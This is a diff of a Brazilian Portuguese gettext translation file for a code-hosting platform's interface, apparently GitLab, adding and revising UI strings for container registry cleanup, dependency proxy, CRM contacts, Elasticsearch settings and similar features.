@@ -8825,7 +8988,7 @@ msgid "Contact support"
msgstr "Contatar suporte"
msgid "Contacts"
-msgstr ""
+msgstr "Contatos"
msgid "Container Registry"
msgstr "Registro de contêiner"
@@ -8855,7 +9018,7 @@ msgid "Container repository"
msgstr "Repositório do container"
msgid "ContainerRegistry| Please visit the %{linkStart}administration settings%{linkEnd} to enable this feature."
-msgstr ""
+msgstr "Visite as %{linkStart}configurações de administração%{linkEnd} para ativar este recurso."
msgid "ContainerRegistry|%{count} Image repository"
msgid_plural "ContainerRegistry|%{count} Image repositories"
@@ -8868,13 +9031,13 @@ msgstr[0] "%{count} Tag"
msgstr[1] "%{count} Tags"
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
-msgstr ""
+msgstr "%{strongStart}Desativado%{strongEnd} - Tags não vão ser excluídas automaticamente."
msgid "ContainerRegistry|%{strongStart}Enabled%{strongEnd} - Tags that match the rules on this page are automatically scheduled for deletion."
-msgstr ""
+msgstr "%{strongStart}Ativado%{strongEnd} - Tags que correspondem às regras nesta página são programadas automaticamente para exclusão."
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
-msgstr ""
+msgstr "%{title} foi agendado com sucesso para exclusão"
msgid "ContainerRegistry|-- tags"
msgstr "-- tags"
@@ -8895,10 +9058,10 @@ msgid "ContainerRegistry|Cleanup incomplete"
msgstr "Limpeza incompleta"
msgid "ContainerRegistry|Cleanup is currently removing tags"
-msgstr ""
+msgstr "A limpeza está removendo tags"
msgid "ContainerRegistry|Cleanup is disabled for this project"
-msgstr ""
+msgstr "A limpeza está desativada para este projeto"
msgid "ContainerRegistry|Cleanup is ongoing"
msgstr "A limpeza está em andamento"
@@ -8913,7 +9076,7 @@ msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr "A política de limpeza de tag está desativada"
msgid "ContainerRegistry|Cleanup policy successfully saved."
-msgstr ""
+msgstr "Política de limpeza salva com sucesso."
msgid "ContainerRegistry|Cleanup ran but some tags were not removed"
msgstr ""
@@ -8952,7 +9115,7 @@ msgid "ContainerRegistry|Delete selected tags"
msgstr "Excluir tags selecionadas"
msgid "ContainerRegistry|Delete tag"
-msgstr ""
+msgstr "Excluir tag"
msgid "ContainerRegistry|Deleting the image repository will delete all images and tags inside. This action cannot be undone. Please type the following to confirm: %{code}"
msgstr ""
@@ -9021,16 +9184,16 @@ msgid "ContainerRegistry|Not yet scheduled"
msgstr "Ainda não agendado"
msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
-msgstr ""
+msgstr "Nota: Qualquer atualização de política resultará em mudança na data e hora de execução programada"
msgid "ContainerRegistry|Published %{timeInfo}"
msgstr "Publicado em %{timeInfo}"
msgid "ContainerRegistry|Published to the %{repositoryPath} image repository at %{time} on %{date}"
-msgstr ""
+msgstr "Publicado no repositório de imagens %{repositoryPath} em %{time} em %{date}"
msgid "ContainerRegistry|Push an image"
-msgstr ""
+msgstr "Enviar uma imagem"
msgid "ContainerRegistry|Remember to run %{docLinkStart}garbage collection%{docLinkEnd} to remove the stale data from storage."
msgstr ""
@@ -9044,16 +9207,16 @@ msgstr[0] "Remover tag"
msgstr[1] "Remover tags"
msgid "ContainerRegistry|Remove tags matching:"
-msgstr ""
+msgstr "Remover tags correspondentes:"
msgid "ContainerRegistry|Remove tags older than:"
-msgstr ""
+msgstr "Remover tags mais antigas que:"
msgid "ContainerRegistry|Remove these tags"
msgstr "Remover essas tags"
msgid "ContainerRegistry|Root image"
-msgstr ""
+msgstr "Imagem raiz"
msgid "ContainerRegistry|Run cleanup:"
msgstr "Executar limpeza:"
@@ -9098,16 +9261,16 @@ msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
-msgstr ""
+msgstr "Tags que correspondem a estas regras são %{strongStart}mantidas%{strongEnd}, mesmo que elas correspondam a regra de exclusão abaixo. A %{secondStrongStart}última%{secondStrongEnd} é sempre mantida."
msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
-msgstr ""
+msgstr "Tags que correspondem a estas regras são %{strongStart}removidas%{strongEnd}, a menos que uma regra acima diga para mantê-las."
msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}View regex examples.%{linkEnd}"
-msgstr ""
+msgstr "Tags com o nome que corresponde a este padrão regex são mantidas. %{linkStart}Veja exemplos de regex.%{linkEnd}"
msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}View regex examples.%{linkEnd}"
-msgstr ""
+msgstr "Tags com o nome que correspondem a este padrão de regex serão removidas. %{linkStart}Veja exemplos de regex.%{linkEnd}"
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -9125,7 +9288,7 @@ msgid "ContainerRegistry|The value of this input should be less than 256 charact
msgstr ""
msgid "ContainerRegistry|There are no container images available in this group"
-msgstr ""
+msgstr "Não há imagens de contêiner disponíveis neste grupo"
msgid "ContainerRegistry|There are no container images stored for this project"
msgstr "Não existem imagens de container armazenadas para este projeto"
@@ -9371,7 +9534,7 @@ msgid "Copy secret"
msgstr "Copiar senha"
msgid "Copy source branch name"
-msgstr "copiar o nome da origem do branch"
+msgstr "Copiar o nome da origem do branch"
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
@@ -9421,8 +9584,8 @@ msgstr "Último uso"
msgid "CorpusManagement|Latest Job:"
msgstr "Última tarefa:"
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
-msgstr "Corpus precisa ser um upload no formato *.zip. Máximo de 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
+msgstr ""
msgid "CorpusManagement|New upload"
msgstr "Novo envio"
@@ -9554,7 +9717,7 @@ msgid "Couldn't assign policy to project"
msgstr ""
msgid "Country"
-msgstr ""
+msgstr "País"
msgid "Coverage"
msgstr "Cobertura"
@@ -9575,6 +9738,9 @@ msgid "Create %{type}"
msgstr "Criar %{type}"
msgid "Create %{workspace} label"
+msgstr "Criar etiqueta para %{workspace}"
+
+msgid "Create Google Cloud project"
msgstr ""
msgid "Create New Directory"
@@ -9605,7 +9771,7 @@ msgid "Create a new issue"
msgstr "Criar uma nova issue"
msgid "Create a new project"
-msgstr ""
+msgstr "Criar um novo projeto"
msgid "Create a new repository"
msgstr "Criar um novo repositório"
@@ -9617,7 +9783,7 @@ msgid "Create an account using:"
msgstr "Criar uma conta usando:"
msgid "Create an incident. Incidents are created for each alert triggered."
-msgstr ""
+msgstr "Crie um incidente. Incidentes são criados para cada alerta acionado."
msgid "Create and provide your GitHub %{link_start}Personal Access Token%{link_end}. You will need to select the %{code_open}repo%{code_close} scope, so we can display a list of your public and private repositories which are available to import."
msgstr "Crie e forneça o seu %{link_start}Token de Acesso Pessoal%{link_end}. Você precisará selecionar o escopo do %{code_open}repo%{code_close} para que possamos exibir uma lista dos seus repositórios públicos e privados que estão disponíveis para importação."
@@ -9677,10 +9843,10 @@ msgid "Create lists from labels. Issues with that label appear in that list."
msgstr "Criar lista a partir de etiquetas. Issues com etiquetas aparecem nestas listas."
msgid "Create merge request"
-msgstr "Criar merge request"
+msgstr "Criar solicitação de mesclagem"
msgid "Create merge request and branch"
-msgstr "Abrir merge request e criar branch"
+msgstr "Abrir solicitação de mesclagem e criar ramificação"
msgid "Create milestone"
msgstr "Criar marco"
@@ -9736,6 +9902,9 @@ msgstr "Criar versão"
msgid "Create requirement"
msgstr "Criar requisito"
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr "Criar snippet"
@@ -9743,7 +9912,7 @@ msgid "Create tag %{tagName}"
msgstr "Criar tag %{tagName}"
msgid "Create topic"
-msgstr ""
+msgstr "Criar tópico"
msgid "Create user"
msgstr "Criar usuário"
@@ -9769,9 +9938,6 @@ msgstr "Você não tem permissão para criar grupos."
msgid "CreateTag|Tag"
msgstr "Tag"
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr "criar um token de acesso pessoal"
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr "%{name} (padrão)"
@@ -9914,10 +10080,10 @@ msgid "Created On"
msgstr "Criado em"
msgid "Created a branch and a merge request to resolve this issue."
-msgstr "Criado um branch e uma merge request para resolver esta issue."
+msgstr "Criado uma ramificação e uma solicitação de mesclagem para resolver esta issue."
msgid "Created branch '%{branch_name}' and a merge request to resolve this issue."
-msgstr "Criado a branch '%{branch_name}' e um merge request para resolver esta issue."
+msgstr "Criado a ramificação '%{branch_name}' e uma solicitação de mesclagem para resolver esta issue."
msgid "Created by %{job}"
msgstr "Criado por %{job}"
@@ -9938,7 +10104,7 @@ msgid "Created issue %{issueLink} at %{projectLink}"
msgstr "Criou a issue %{issueLink} em %{projectLink}"
msgid "Created merge request %{mergeRequestLink}"
-msgstr "Criado o merge request %{mergeRequestLink}"
+msgstr "Criado a solicitação de mesclagem %{mergeRequestLink}"
msgid "Created merge request %{mergeRequestLink} at %{projectLink}"
msgstr "Criado a solicitação de mesclagem %{mergeRequestLink} em %{projectLink}"
@@ -9986,11 +10152,41 @@ msgid "CredentialsInventory|SSH Keys"
msgstr "Chaves SSH"
msgid "Credit card:"
-msgstr ""
+msgstr "Cartão de crédito:"
msgid "Critical vulnerabilities present"
msgstr "Vulnerabilidades críticas presentes"
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr "Fuso horário do cron"
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr "Painel"
@@ -10904,7 +11103,7 @@ msgid "Default branch and protected branches"
msgstr "Branch padrão e branches protegidos"
msgid "Default branch protection"
-msgstr ""
+msgstr "Proteção padrão de ramificação"
msgid "Default classification label"
msgstr "Etiqueta de classificação padrão"
@@ -10958,13 +11157,13 @@ msgid "DefaultBranchProtection|Developers cannot push new commits, but maintaine
msgstr ""
msgid "DefaultBranchProtection|Fully protected"
-msgstr ""
+msgstr "Totalmente protegido"
msgid "DefaultBranchProtection|Not protected"
-msgstr ""
+msgstr "Não protegido"
msgid "DefaultBranchProtection|Partially protected"
-msgstr ""
+msgstr "Parcialmente protegido"
msgid "DefaultBranchProtection|Protected against pushes"
msgstr ""
@@ -10988,7 +11187,7 @@ msgid "Definition"
msgstr "Definição"
msgid "Delayed Project Deletion (%{adjourned_deletion})"
-msgstr ""
+msgstr "Atraso para exclusão de projeto (%{adjourned_deletion})"
msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr "Excluir comentário"
msgid "Delete Key"
msgstr "Excluir chave"
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr "Excluir fluxo de valor"
@@ -11047,6 +11249,9 @@ msgstr "Excluir comentário"
msgid "Delete corpus"
msgstr "Excluir corpus"
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr "Excluir arquivo"
@@ -11101,9 +11306,6 @@ msgstr "Excluir lista de usuário"
msgid "Delete variable"
msgstr "Excluir a variável"
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr "Falha ao remover o repositório do projeto. Por favor, tente novamente ou entre em contato com o administrador."
@@ -11149,6 +11351,12 @@ msgstr "Projeto excluídos"
msgid "Deleted projects cannot be restored!"
msgstr "Projetos excluídos não podem ser restaurados!"
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr "Excluíndo"
@@ -11266,34 +11474,43 @@ msgstr "Proxy de dependências"
msgid "Dependency Scanning"
msgstr "Verificação de dependência"
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
msgid "DependencyProxy|Contains %{count} blobs of images (%{size})"
-msgstr ""
+msgstr "Contém %{count} blobs de imagens (%{size})"
msgid "DependencyProxy|Copy prefix"
-msgstr ""
+msgstr "Copiar prefixo"
msgid "DependencyProxy|Create a local proxy for storing frequently used upstream images. %{docLinkStart}Learn more%{docLinkEnd} about dependency proxies."
-msgstr ""
+msgstr "Crie um proxy local para armazenar imagens upstream usadas com frequência. %{docLinkStart}Saiba mais%{docLinkEnd} sobre proxies de dependências."
msgid "DependencyProxy|Dependency Proxy"
msgstr "Proxy de dependências"
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr "Frequência de implantação"
msgid "Deployments"
msgstr "Implementações"
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] "%{deployments} ambiente impactado."
@@ -11619,13 +11833,13 @@ msgid "DesignManagement|Adding a design with the same filename replaces the file
msgstr "Adicionar um design com o mesmo nome de arquivo substitui o arquivo por uma nova versão."
msgid "DesignManagement|Archive design"
-msgstr ""
+msgstr "Arquivar design"
msgid "DesignManagement|Archive designs"
-msgstr ""
+msgstr "Arquivar designs"
msgid "DesignManagement|Archive selected"
-msgstr ""
+msgstr "Arquivo selecionado"
msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
msgstr ""
@@ -11765,8 +11979,8 @@ msgstr "Detectar chaves de host"
msgid "DevOps Adoption"
msgstr "Adoção de DevOps"
-msgid "DevOps Report"
-msgstr "Relatório de DevOps"
+msgid "DevOps Reports"
+msgstr ""
msgid "DevOps adoption"
msgstr "Adoção de DevOps"
@@ -11844,7 +12058,7 @@ msgid "DevopsAdoption|Dependency Scanning enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Deploys"
-msgstr ""
+msgstr "Implementações"
msgid "DevopsAdoption|Dev"
msgstr "Dev"
@@ -12032,6 +12246,9 @@ msgstr "Nome do diretório"
msgid "Disable"
msgstr "Desabilitar"
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr "Desativar a autenticação de dois fatores"
@@ -12090,25 +12307,25 @@ msgid "Discover projects, groups and snippets. Share your projects with others"
msgstr "Descubra projetos, grupos e snippets. Compartilhe seus projetos com outras pessoas"
msgid "Discover|Check your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of services."
-msgstr ""
+msgstr "Verifique se há vulnerabilidades de segurança em sua aplicação que podem levar a acesso não autorizado, vazamento de dados e negação de serviços."
msgid "Discover|For code that's already live in production, our dashboards give you an easy way to prioritize any issues that are found, empowering your team to ship quickly and securely."
-msgstr ""
+msgstr "Para código que já está em produção, nossos painéis oferecem uma maneira fácil de priorizar qualquer problema que seja encontrado, capacitando sua equipe a enviar com rapidez e segurança."
msgid "Discover|GitLab will perform static and dynamic tests on the code of your application, looking for known flaws and report them in the merge request so you can fix them before merging."
-msgstr ""
+msgstr "GitLab executará testes estáticos e dinâmicos no código do seu aplicativo, procurando falhas conhecidas e relatando-as na solicitação de mesclagem para que você possa corrigi-las antes da mesclagem."
msgid "Discover|Give feedback for this page"
-msgstr ""
+msgstr "Dê sua opinião sobre esta página"
msgid "Discover|Security capabilities, integrated into your development lifecycle"
-msgstr ""
+msgstr "Recursos de segurança, integrados ao seu ciclo de vida de desenvolvimento"
msgid "Discover|See the other features of the %{linkStart}ultimate plan%{linkEnd}"
-msgstr ""
+msgstr "Veja os outros recursos do %{linkStart}plano ultimate%{linkEnd}"
msgid "Discover|Start a free trial"
-msgstr "Iniciar um teste grátis"
+msgstr "Testar"
msgid "Discover|Upgrade now"
msgstr "Atualizar agora"
@@ -12134,7 +12351,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "Dismiss merge request promotion"
-msgstr ""
+msgstr "Dispensar promoção de solicitação de mesclagem"
msgid "Dismiss selected"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr "Domínio"
@@ -12289,9 +12509,6 @@ msgstr "Votos negativos"
msgid "Draft"
msgstr "Rascunho"
-msgid "Draft merge requests can't be merged."
-msgstr "Solicitações de mesclagem de rascunho não pode ser mesclado"
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr "Arraste seus projetos aqui ou %{linkStart}clique para enviar%{linkEnd}."
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr "Validade"
@@ -12403,9 +12623,15 @@ msgstr "Editar aplicativo"
msgid "Edit comment"
msgstr "Editar comentário"
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr "Editar descrição"
@@ -12452,7 +12678,7 @@ msgid "Edit table"
msgstr "Editar tabela"
msgid "Edit this file only."
-msgstr "Editar somente esse arquivo"
+msgstr "Edite somente esse arquivo"
msgid "Edit this release"
msgstr "Editar essa versão"
@@ -12461,7 +12687,7 @@ msgid "Edit title and description"
msgstr "Editar título e descrição"
msgid "Edit topic: %{topic_name}"
-msgstr ""
+msgstr "Editar tópico: %{topic_name}"
msgid "Edit user: %{user_name}"
msgstr "Editar usuário: %{user_name}"
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr "Indexação de Elasticsearch iniciada"
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr "Nenhum. Selecione espaços de nome para indexar."
@@ -12535,6 +12767,9 @@ msgstr "Notificação por e-mail"
msgid "Email a new %{name} to this project"
msgstr "Enviar um novo %{name} para este projeto"
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr "Endereço de e-mail para usar na central de serviços"
@@ -12634,9 +12869,6 @@ msgstr "Enviar do committer"
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12644,7 +12876,7 @@ msgid "Embed"
msgstr "Embutido"
msgid "Embed an image of your existing Jaeger server in GitLab."
-msgstr ""
+msgstr "Incorpore uma imagem de seu servidor Jaeger existente no GitLab."
msgid "Empty file"
msgstr "Arquivo vazio"
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr "Ativar verificação SSL"
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr "Ativar o serviço de ping"
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr "Ativar modo administrativo"
@@ -12781,6 +13019,9 @@ msgstr "Ativar modo de manutenção"
msgid "Enable multipart emails"
msgstr "Ativar múltiplos e-mails"
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Ative ou desative a coleção de dados Pseudonymizer"
@@ -12955,6 +13196,12 @@ msgstr "Digite o nome da sua aplicação e devolveremos um %{type} único."
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -12972,8 +13219,8 @@ msgstr "Empresa"
msgid "Environment"
msgid_plural "Environments"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "Ambiente"
+msgstr[1] "Ambientes"
msgid "Environment does not have deployments"
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr "Tarefa: %{job}"
msgid "EnvironmentsDashboard|More actions"
msgstr "Mais ações"
-msgid "EnvironmentsDashboard|More information"
-msgstr "Mais informações"
-
msgid "EnvironmentsDashboard|Remove"
msgstr "Remover"
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr "O dashboard de ambientes fornece um resumo do status dos ambientes de cada projeto, incluindo status de pipelines e alertas."
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr "Atribuir épico"
msgid "Epics|Enter a title for your epic"
msgstr "Digite um título para o seu épico"
-msgid "Epics|How can I solve this?"
-msgstr "Como posso resolver isso?"
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr "Essas datas afetam a maneira como seus épicos aparecem no planejamento. As datas dos marcos vêm dos marcos atribuídos aos problemas do épico. Você também pode definir datas fixas ou removê-las completamente."
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13555,7 +13793,7 @@ msgid "Error: %{error_message}"
msgstr "Erro: %{error_message}"
msgid "Error: %{error}"
-msgstr ""
+msgstr "Erro: %{error}"
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr "Enviar e-mail"
msgid "EscalationPolicies|Escalation policies"
msgstr "Políticas de escalação"
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr "Exceto da política:"
msgid "Exceptions"
msgstr "Exceções"
-msgid "Excess storage"
-msgstr "Armazenamento em excesso"
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr "Excluindo commits de mesclar. Limitado a %{limit} commits."
@@ -13935,7 +14170,7 @@ msgid "Expiration date (optional)"
msgstr "Data de expiração (opcional)"
msgid "Expiration date:"
-msgstr ""
+msgstr "Data de expiração:"
msgid "Expired"
msgstr "Expirado"
@@ -13953,7 +14188,7 @@ msgid "Expires in %{expires_at}"
msgstr "Expira em %{expires_at}"
msgid "Expires on"
-msgstr ""
+msgstr "Expira em"
msgid "Expires:"
msgstr "Expira:"
@@ -13979,6 +14214,12 @@ msgstr "Explorar projetos"
msgid "Explore public groups"
msgstr "Explorar grupos públicos"
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr "Exportar"
@@ -13995,10 +14236,10 @@ msgid "Export group"
msgstr "Exportar grupo"
msgid "Export issues"
-msgstr ""
+msgstr "Exportar issues"
msgid "Export merge requests"
-msgstr ""
+msgstr "Exportar solicitações de mesclagem"
msgid "Export project"
msgstr "Exportar projeto"
@@ -14013,7 +14254,7 @@ msgid "Export this project with all its related data in order to move it to a ne
msgstr ""
msgid "Export variable to pipelines running on protected branches and tags only."
-msgstr ""
+msgstr "Exporte a variável para pipelines em execução apenas em branches e tags protegidos."
msgid "Exported requirements"
msgstr "Requisitos exportados"
@@ -14054,6 +14295,12 @@ msgstr "Etiqueta de classificação"
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr "Quando nenhum etiqueta de classificação está definida, a etiqueta padrão `%{default_label}` será usada."
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr "Wiki externa"
@@ -14170,6 +14417,9 @@ msgstr "Falha ao obter a ref."
msgid "Failed to install."
msgstr "Falha ao instalar."
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr "Falha ao carregar os responsáveis"
@@ -14236,6 +14486,9 @@ msgstr "Falha ao mover esta issue porque apenas uma etiqueta pode ser fornecida.
msgid "Failed to move this issue because target project doesn't exist."
msgstr "Falha ao mover esta issue porque o projeto de destino não existe."
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr "Falha ao promover etiqueta devido a erro interno. Por favor, contate os administradores."
@@ -14248,9 +14501,6 @@ msgstr "Falha ao proteger o ambiente"
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr "Falha ao registrar agente"
-
msgid "Failed to remove a Zoom meeting"
msgstr "Falha ao remover uma reunião do Zoom"
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr "Filtrar por nome de marco"
@@ -14769,7 +15022,7 @@ msgid "Finished at"
msgstr "Finalizado em"
msgid "First Name"
-msgstr ""
+msgstr "Primeiro nome"
msgid "First Seen"
msgstr "Visto pela primeira vez"
@@ -14786,15 +15039,6 @@ msgstr "Visto a primeira vez"
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr "Data fixa"
-
-msgid "Fixed due date"
-msgstr "Data de vencimento fixa"
-
-msgid "Fixed start date"
-msgstr "Data de início fixa"
-
msgid "Fixed:"
msgstr "Fixo:"
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr "Por exemplo, a aplicação usando o token ou o propósito do token."
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15003,7 +15250,7 @@ msgid "Framework successfully deleted"
msgstr ""
msgid "Free"
-msgstr ""
+msgstr "Grátis"
msgid "Free Trial of GitLab.com Ultimate"
msgstr ""
@@ -15066,7 +15313,7 @@ msgid "General pipelines"
msgstr "Pipelines gerais"
msgid "General settings"
-msgstr ""
+msgstr "Configurações gerais"
msgid "Generate a default set of labels"
msgstr "Gerar etiquetas padrão"
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr "Genérico"
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr "Não foi possível remover o registro de rastreamento de um projeto existente."
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr "Não foi possível remover a entrada de rastreamento para um envio existente."
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15267,7 +15514,7 @@ msgid "Geo|Last time verified"
msgstr "Última vez verificada"
msgid "Geo|Learn more about Geo"
-msgstr ""
+msgstr "Saiba mais sobre o Geo"
msgid "Geo|Learn more about Geo site statuses"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr "O registro de rastreamento do projeto (%{project_id}) foi removido com êxito."
